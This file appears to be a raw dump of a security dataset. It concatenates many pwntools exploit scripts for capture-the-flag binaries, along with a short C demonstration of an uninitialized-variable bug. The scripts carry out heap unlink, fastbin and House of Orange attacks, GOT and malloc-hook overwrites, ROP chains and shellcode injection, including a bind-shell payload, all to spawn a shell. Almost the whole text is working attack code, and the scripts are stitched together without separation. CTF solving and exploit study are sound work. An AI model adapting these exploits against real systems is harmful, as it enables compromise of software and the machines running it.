deardaniel/secdata-raw huggingface dataset:
from pwn import *

# Establish the target process, binary, and libc
target = process("./note2", env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('note2')
libc = ELF('libc-2.23.so')

# You were expecting a comment, BUT IT WAS ME DIO!
#gdb.attach(target)

# Establish our io functions
def addNote(content, size):
    print target.recvuntil("option--->>")
    target.sendline("1")
    print target.recvuntil("(less than 128)")
    target.sendline(str(size))
    print target.recvuntil("content:")
    target.send(content)

def editNote(index, content, app):
    print target.recvuntil("option--->>")
    target.sendline("3")
    print target.recvuntil("note:")
    target.sendline(str(index))
    print target.recvuntil("2.append]")
    target.sendline(str(app))
    print target.recvuntil("TheNewContents:")
    target.sendline(content)

def deleteNote(index):
    print target.recvuntil("option--->>")
    target.sendline("4")
    print target.recvuntil("note:")
    target.sendline(str(index))

def showNote(index):
    print target.recvuntil("option--->>")
    target.sendline("2")
    print target.recvuntil("note:")
    target.sendline("0")
    print target.recvuntil("Content is ")
    leak = target.recvline().strip("\x0a")
    leak = u64(leak + "\x00"*(8-len(leak)))
    return leak

# Send data for the address / name
# For our exploit, this really doesn't matter (much like Aqua)
target.sendline("15935728")
target.sendline("15935728")


ptr = 0x602120

fakeChunk = ""

fakeChunk += p64(0x0)            # Previous Size
fakeChunk += p64(0xa0)            # Size
fakeChunk += p64(ptr - (0x8*3))        # FD ptr
fakeChunk += p64(ptr - (0x8*2))        # BK ptr
fakeChunk += p64(0x0)            # FD Next Size

# Allocate the heap chunk and store the fake chunk
addNote(fakeChunk, 0x80)

# For me, IO For this challenge was a bit weird. I needed to insert lines like these in order
# for the input the happen properly.
target.sendline("1")

# Add the second chunk, which will free and reallocate for the overflow
addNote("1"*0x8, 00)
target.sendline("1")

# This is the third chunk which we will overflow it's heap metadata to point to the fake chunk as a freed previous chunk
addNote("2"*0x80, 0x80)
target.sendline("1")

# Free the second chunk, reallocate it and overflow the heap metatda's previous size and size
deleteNote(1)

addNote("5"*0x10 + p64(0xa0) + p64(0x90), 0)
target.sendline("1")


# Free the third chunk (with the overwritten heap metadata) to execute the unlink
deleteNote(2)

# Now that the unlink happened, write the got entry address for atoi to the heap pointers array
editNote(0, "6"*24 + p64(elf.got['atoi']), 1)

# Leak the libc address of atoi, calculate our oneshot gadget address
leak = showNote(0)
libcBase = leak - libc.symbols['atoi']
oneShot = libcBase + 0xf02a4

print "libc base: " + hex(libcBase)
print "oneshot gadget: " + hex(oneShot)

# Write over the got entry for atoi with the oneshot gadget
editNote(0, p64(oneShot), 1)

# Send the string "1" to call atoi, call our oneshot gadget and get a shell
target.sendline("1")

target.interactive()
from pwn import *

# Establish the server
server = process("minesweeper")
#gdb.attach(server, gdbscript = 'set follow-fork-mode child\nb *0x8048b7c')

# Establish remote connection to contact server as a client
target = remote("127.0.0.1", 31337)

# Establish the binary
elf = ELF("minesweeper")

# Establish interface functions
def recvMenu():
    print target.recvuntil("3) Q (Quit)\n")

def recvGame():
    print target.recvuntil("3) Quit game (Q)")

def initializeGame(x, y, content):
    recvMenu()
    target.sendline("I")
    print target.recvuntil("format: B X Y\n")
    target.sendline("B " + str(x) + " " + str(y))
    print target.recvuntil("character X\n")
    target.send(content)

def newGame():
    recvMenu()
    target.sendline("N")

def uncoverPiece(x, y):
    recvGame()
    target.sendline("U " + str(x) + " " + str(y))

def viewBoard(recv = None):
    if recv == None:
        raw_input()
    else:
        recvGame()
    target.sendline("V")

def quitGame(recv = None):
    if recv == None:
        raw_input()
    else:
        recvGame()
    target.sendline("Q")

# Make a board to get heap infoleak
initializeGame(3, 4, "X" + "1"*(19))

newGame()# I/O is a little weird
newGame()

# Get and parse out the infoleak, find base of heap
viewBoard(1)

print target.recvuntil("X11\n")
leak = target.recv(30)
leak = leak.strip("\n")
leak = u32(leak[17:19] + leak[20:22])
heapBase = leak - 0xf0

print "Heap Base: " + hex(heapBase)

quitGame()

# SO a little heap grooming
initializeGame(2, 2, "X" + "0"*(8))
newGame()

initializeGame(2, 2, "X" + "0"*(8))
newGame()

initializeGame(2, 2, "X" + "0"*(8))
newGame()



payload = ""
payload += "0"*0x20
# Some extra instructions to deal with the got address written 0x4 bytes after the start of our shellcode
payload += "\x90"*3 + "\x50" + "\x90"*8

# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-836.php
payload += "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\xcd\x80"
payload += "0"*(183 - len(payload))
payload += p32(elf.got["fwrite"] - 8) # fwd pointer
payload += p32(heapBase + 0x5d) # bk pointer
payload += "2"*33

# Send the payload
initializeGame(14, 14, "X" + payload)

target.interactive()
from pwn import *

target = process("./aliensVSsamurais", env={"LD_PRELOAD":"./libc-2.23.so"})
#gdb.attach(target)

elf = ELF('aliensVSsamurais')
libc = ELF('libc-2.23.so')

def goToHatchery():
	target.sendline("3")

def makeAlien(size, content, newline=None):
	print target.recvuntil("Brood mother, what tasks do we have today.")
	target.sendline("1")
	print target.recvuntil("How long is my name?")
	target.sendline(str(size))
	print target.recvuntil("What is my name?")
	if newline == None:
		target.sendline(content)
	else:
		target.send(content)
def killAlien(index):
	print target.recvuntil("Brood mother, what tasks do we have today.")
	target.sendline("2")
	print target.recvuntil("Which alien is unsatisfactory, brood mother?")
	target.sendline(str(index))

def editAlien(index, content, leak = None):
	print target.recvuntil("Brood mother, what tasks do we have today.")
	target.sendline("3")
	print target.recvuntil("Brood mother, which one of my babies would you like to rename?")
	target.sendline(str(index))
	print target.recvuntil("Oh great what would you like to rename ")

	if leak != None:
		leak = target.recvline()
		leak = leak.replace(" to?\n", "")
		leak = u64(leak + "\x00"*(8-len(leak)))
		print "leak is: " + hex(leak)
		target.send(p64(leak)[:6])
	else:
		target.sendline(content)

	return leak


goToHatchery()



# Get that free bin edit / libc infoleak

# First groom the heap for alignment
makeAlien(0x20, 'pineapple')# 0
makeAlien(0x20, 'pineapple')# 1
makeAlien(0x20, 'pineapple')# 2
makeAlien(0x20, 'pineapple')# 3

killAlien(0)
killAlien(1)
killAlien(2)
killAlien(3)

makeAlien(0xf0, "0"*8)# 4
makeAlien(0x60, "1"*8)# 5
makeAlien(0xf0, "2"*8)# 6
makeAlien(0x10, "3"*8)# 7

killAlien(4)
killAlien(5)

# This chunk is the one that will overlap with the unsorted bin
makeAlien(0x68, "4"*0x60 + p64(0x170))# 8

killAlien(6)

makeAlien(0xf0, '4'*8)# 9

# Leak libc
leak = editAlien(8, "0000000", 1)
libcBase = leak - 0x3c4b78
freeHook = libcBase + libc.symbols['__malloc_hook'] - 0x13



# Leak pie
x = editAlien(-10, "0", 1)
pieBase = x - 0x202070

fakeChunk = pieBase + 0x20208d

print "Pie Base: " + hex(pieBase)
print "Libc Base: " + hex(libcBase)
print "Fake Chun: " + hex(fakeChunk)



# This chunk overlaps with chunk 8
makeAlien(0x60, '5'*8)# 10

# Add chunk 10 to the fast bin
killAlien(10)

# Edit fastbin chunk, add our fake chunk to the fast bin
editAlien(8, p64(fakeChunk))

# Move our fake chunk up to the top of the fast bin
makeAlien(0x60, '8'*8)# 13

# Write the pointers for the got overwrite
makeAlien(0x60, '159' + p64(fakeChunk + 3 + 0x18) + p64(pieBase + elf.got['puts'])[:6], 1)# 14



# Execute the got overwrite
editAlien(-4, p64(libcBase + 0x45216))

# Enjoy your shell!
target.interactive()
from pwn import *

#target = remote("pwn.chal.csaw.io", 1003)
target = process("./traveller", env = {"LD_PRELOAD":"./libc-2.23.so"})
#gdb.attach(target)

libc = ELF("libc-2.23.so")

def pl():
	print target.recvuntil(">")

'''
1. 0x80 
2. 0x110 
3. 0x128 
4. 0x150 
5. 0x200 
'''
def add(size, content):
	pl()
	target.sendline("1")
	#pl()
	target.sendline(str(size))
	#print target.recvuntil("Destination")
	target.sendline(content)

def edit(index, content):
	pl()
	target.sendline("2")
	#pl()
	target.sendline(str(index))
	raw_input()
	#print target.recvuntil("Destination")
	target.sendline(content)

def delete(index):
	pl()
	target.sendline("3")
	#pl()
	target.sendline(str(index))
	#print target.recvuntil("Destination")

def show(index):
	pl()
	target.sendline("4")
	#pl()
	target.sendline(str(index))
	#print target.recvuntil("Destination")

# allocate / free some chunks to get 0x10 byte chunks out of the way
add(1, "x"*8)
add(1, "x"*8)
add(1, "x"*8)
add(1, "x"*8)

delete(0)
delete(0)
delete(0)
delete(0)

# Allocate our four chunks which will be right next to each other in memory
add(2, "0"*8)# 0
add(3, "1"*8)# 1
add(2, "2"*8)# 2
add(5, "3"*8)# 3


# Free the first chunk
delete(0)# 0 

# Edit the second chunk, execute null byte overflow against third 
edit(1, "8"*0x120 + p64(0x250))# 1 

# Setup fake chunk in the third chunk to pass malloc checks
edit(2, "0"*0xf0 + p64(0) + p64(0x231))# 2

# free the third chunk, cause the heap consolidation
delete(2)# 2

# Bring the start of the unsorted bin up to our first chunk, which we can still write to
add(2, "4"*8)

# Get the libc infoleak

pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()
pl()

target.sendline("4")
target.sendline("1")
print target.recvuntil(">")

leak = target.recvline().strip("\n").strip("\x20")
leak = u64(leak + "\x00"*(8 - len(leak)))
libcBase = leak - 0x3c4b78

print "libcBase: " + hex(libcBase)

# Add chunks to get 0x10 byte chunk overlapping with our first chunk

add(1, "5"*8)

add(1, "6"*8)

# Overwrite ptr of 0x10 byte chunk with that of the malloc hook
edit(1, p64(libcBase + libc.symbols["__malloc_hook"]))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

# Overwrite malloc hook chunk with oneshot gadget
edit(4, p64(libcBase + 0xf1147))

# Call malloc to get a shell
add(1, "g0ttem_b0yz")

# Enjoy your shell!
target.interactive()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# Author : Angelboy
# http://blog.angelboy.tw

host = "52.68.192.99"
port = 56746

#r = remote(host,port)
r = process("houseoforange", env={"LD_PRELOAD":"./libc.so.6"})
gdb.attach(r)

def build(size,name,price,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(str(price))
    r.recvuntil(":")
    r.sendline(str(color))


def see():
    r.recvuntil(":")
    r.sendline("2")
    data = r.recvuntil("+++++++++++++++++++++++++++++++++++++")
    return data

def upgrade(size,name,price,color):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(str(price))
    r.recvuntil(":")
    r.sendline(str(color))


build(0x80,"ddaa",199,2)
payload = "a"*0x90
payload += p32(0xdada) + p32(0x20) + p64(0)
payload += p64(0) + p64(0xf31) # forge top size

upgrade(0xb1,payload,123,3) # overwrite the size of top
build(0x1000,"qqqqq",199,1) # trigger the _int_free in sysmalloc
build(0x400,"aaaaaaa",199,2) # create a large chunk and Leak the address of libc

data = see().split("Price")[0].split()[-1].ljust(8,"\x00")
libcptr =  u64(data)
libc = libcptr - 0x3c4188
print "libc:",hex(libc)

upgrade(0x400,"c"*16,245,1) # Leak the address of heap
data = ("\x00" +see().split("Price")[0].split()[-1]).ljust(8,"\x00")
heapptr = u64(data)
heap = heapptr - 0x100
print "heap:",hex(heap)

io_list_all = libc + 0x3c4520
system = libc + 0x45380
vtable_addr = heap + 0x728-0xd0

payload = "b"*0x410
payload += p32(0xdada) + p32(0x20) + p64(0)
stream = "/bin/sh\x00" + p64(0x61) # fake file stream
stream += p64(0xddaa) + p64(io_list_all-0x10) # Unsortbin attack
stream = stream.ljust(0xa0,"\x00")
stream += p64(heap+0x700-0xd0)
stream = stream.ljust(0xc0,"\x00")
stream += p64(1)
payload += stream
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(1)
payload += p64(2)
payload += p64(3) 
payload += p64(0)*3 # vtable
payload += p64(system)
upgrade(0x800,payload,123,3)
r.recvuntil(":")
r.sendline("1") # trigger malloc and abort

r.interactive()
# Import the libraries
from pwn import *
import struct

# Establish the target
target = process('./doubletrouble')
#gdb.attach(target, gdbscript='b *0x8049733')
#target = remote('pwn.chal.csaw.io', 9002)

# Get the infoleak, calculate the offset to our shellcode
stack = target.recvline()
stack = stack.replace("\x0a", "")
stack = int(stack, 16)
scadr = stack + 0x1d8

# Create the integer we will create, that will be stored as the double after the ROPgadget 0x804900a, which is the first return address we put
ret = "0x8049010" + hex(scadr).replace("0x", "")
ret = int(ret, 16)

# Scan in some of the input 
target.recvuntil("How long: ")


# Etsablish the four blocks as floats, which make up our shellcode
s1 = "-9[PII_REDACTED]77544e-227"# 0x9101eb51e1f7c931
s2 = "-6[PII_REDACTED]424842e-229"# 0x[PII_REDACTED]2f2f68 
s3 = "-6[PII_REDACTED]412978e-229"# 0x9090406e69622f68
s4 = "-[PII_REDACTED]188698e-231"# 0x900080cd0bb0e389
# shellcode does the following:
'''
   0xffff7ca0:	xor    ecx,ecx
   0xffff7ca2:	mul    ecx
   0xffff7ca4:	push   ecx
   0xffff7ca5:	jmp    0xffff7ca8
   0xffff7ca7:	xchg   ecx,eax
   0xffff7ca8:	push   0x68732f2f
   0xffff7cad:	nop
   0xffff7cae:	nop
   0xffff7caf:	nop
   0xffff7cb0:	push   0x6e69622f
   0xffff7cb5:	inc    eax
   0xffff7cb6:	nop
   0xffff7cb7:	nop
   0xffff7cb8:	mov    ebx,esp
   0xffff7cba:	mov    al,0xb
   0xffff7cbc:	int    0x80
'''

# Send the amount of floats we will input, and then send the first 5
target.sendline('64')
for i in range(5):

	target.sendline('-[PII_REDACTED]386629e+306')#0xff820d[PII_REDACTED]

# Send the value which will trigger the bug to write over heapQt
target.sendline('-23')

# Send the rest of the filler floats
for i in range(51):
	target.sendline('-[PII_REDACTED]386629e+306')#0xff820d[PII_REDACTED]

# This is the value which will be between the stack canary, and the double which occupies the return address
target.sendline('3[PII_REDACTED]336791e-270')#0x[PII_REDACTED]000000

# Send the shellcode blocks
target.sendline(s1)
target.sendline(s2)
target.sendline(s3)
target.sendline(s4)

# Send the double which will reside after the return address double, which will store the address of our shellcode in the last four bytes. 
# We have to convert the int to a float, so it's stored in memory correctly
target.sendline("%.19g" % struct.unpack("<d", p64(ret)))

# Send the double which will occupy the return address with the gadget 0x804900a: ret
target.sendline('4[PII_REDACTED]983783e-270')#0x804900a00000000

# Drop to an interactive shell
target.interactive()
#include <stdio.h>

void trashed(void)
{
    int x = 0xfacade;
    printf("Integer 0 Declared at:\t%p\n", &x);
    printf("Integer 0 Value:\t\t0x%x\n\n", x);
}

void scatterd(void)
{
	int y;
    printf("Integer 1 Declared at:\t%p\n", &y);
    printf("Integer 1 Value:\t\t0x%x\n\n", y);

	if (y == 0xfacade)
	{
		puts("Play your game, and walk away.\n");
	}
}

int main()
{
	puts("Let's talk about uninitialized variables.");
	puts("An uninitialized variable is one that is declared, but not assigned a value.");
	puts("Thing is an uninitialized variable has the value of the last thing previously placed there in memory.");
	puts("This can be beneficial when an uninitialized variable is referenced such as a read or a comparison.");
	puts("We will run a function that will declare and initialize a variable.\n");

	puts("After that, we will run another function which will declare a variable and not initialize it.");
	puts("Let's see where the second variable ends up in memory, and what it's value is.\n");

	trashed();

	scatterd();

	puts("As you can see, the memory location for the variable in the second function overlapped directly with the memory location for the variable in the first function.");
	puts("Since the second variable was not initialized with a value, it had the value that was previously stored there, which was the value of the variable from the first function.");
	puts("This is just one example of an uninitialized variables bug.");
	puts("However there are a lot of scenarios where this bug can be helpful.");
}
# Uninitialized Variable Explanation

This is a well document C file that explains an uninitialized variable bug. 

Here is the source code:

```
#include <stdio.h>

void trashed(void)
{
    int x = 0xfacade;
    printf("Integer 0 Declared at:\t%p\n", &x);
    printf("Integer 0 Value:\t\t0x%x\n\n", x);
}

void scatterd(void)
{
	int y;
    printf("Integer 1 Declared at:\t%p\n", &y);
    printf("Integer 1 Value:\t\t0x%x\n\n", y);

	if (y == 0xfacade)
	{
		puts("Play your game, and walk away.\n");
	}
}

int main()
{
	puts("Let's talk about uninitialized variables.");
	puts("An uninitialized variable is one that is declared, but not assigned a value.");
	puts("Thing is an uninitialized variable has the value of the last thing previously placed there in memory.");
	puts("This can be beneficial when an uninitialized variable is referenced such as a read or a comparison.");
	puts("We will run a function that will declare and initialize a variable.\n");

	puts("After that, we will run another function which will declare a variable and not initialize it.");
	puts("Let's see where the second variable ends up in memory, and what it's value is.\n");

	trashed();

	scatterd();

	puts("As you can see, the memory location for the variable in the second function overlapped directly with the memory location for the variable in the first function.");
	puts("Since the second variable was not initialized with a value, it had the value that was previously stored there, which was the value of the variable from the first function.");
	puts("This is just one example of an uninitialized variables bug.");
	puts("However there are a lot of scenarios where this bug can be helpful.");
}
```

When it runs:

```
$	./uninit_vars 
Let's talk about uninitialized variables.
An uninitialized variable is one that is declared, but not assigned a value.
Thing is an uninitialized variable has the value of the last thing previously placed there in memory.
This can be beneficial when an uninitialized variable is referenced such as a read or a comparison.
We will run a function that will declare and initialize a variable.

After that, we will run another function which will declare a variable and not initialize it.
Let's see where the second variable ends up in memory, and what it's value is.

Integer 0 Declared at:	0x7ffcea5edff4
Integer 0 Value:		0xfacade

Integer 1 Declared at:	0x7ffcea5edff4
Integer 1 Value:		0xfacade

Play your game, and walk away.

As you can see, the memory location for the variable in the second function overlapped directly with the memory location for the variable in the first function.
Since the second variable was not initialized with a value, it had the value that was previously stored there, which was the value of the variable from the first function.
This is just one example of an uninitialized variables bug.
However there are a lot of scenarios where this bug can be helpful.
```
from pwn import *

target = process('./pilot')

print target.recvuntil("[*]Location:")

leak = target.recvline()

inputAdr = int(leak.strip("\n"), 16)

payload = ""
# This shellcode is originally from: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/
# However it looks like that site is down now
# This shellcode will pop a shell when we run it
payload += "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05" 

# Padding to the return address
payload += "0"*(0x28 - len(payload))

# Overwrite the return address with the address of the start of our input
payload += p64(inputAdr)

# Send the payload, drop to an interactive shell to use the shell we pop
target.send(payload)

target.interactive()
from pwn import *

target = process('./shella-easy')
#gdb.attach(target, gdbscript = 'b *0x804853e')

# Scan in the first line of text, parse out the infoleak
leak = target.recvline()
leak = leak.strip("Yeah I'll have a ")
leak = leak.strip(" with a side of fries thanks\n")
shellcodeAdr = int(leak, 16)

# Make the payload
payload = ""
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php`
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += "0"*(0x40 - len(payload)) # Padding to the local_c variable
payload += p32(0xdeadbeef) # Overwrite the local_c variable with 0xdeadbeef
payload += "1"*8 # Padding to the return address
payload += p32(shellcodeAdr) # Overwrite the return address to point to the start of our shellcode

# Send the payload
target.sendline(payload)
target.interactive()
from pwn import *

target = process('./pwn3')

# Print out the text, up to the address of the start of our input
print target.recvuntil("journey ")

# Scan in the rest of the line
leak = target.recvline()

# Strip away the characters not part of our address
shellcodeAdr = int(leak.strip("!\n"), 16)

# Make the payload
payload = ""
# Our shellcode from: http://shell-storm.org/shellcode/files/shellcode-827.php
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Pad the rest of the space to the return address with zeroes
payload += "0"*(0x12e - len(payload))
# Overwrite the return address with the leaked address which points to the start of our shellcode
payload += p32(shellcodeAdr)

# Send the payload
target.sendline(payload)

# Drop to an interactive shell to use our newly popped shell
target.interactive()
from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x[PII_REDACTED]48d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()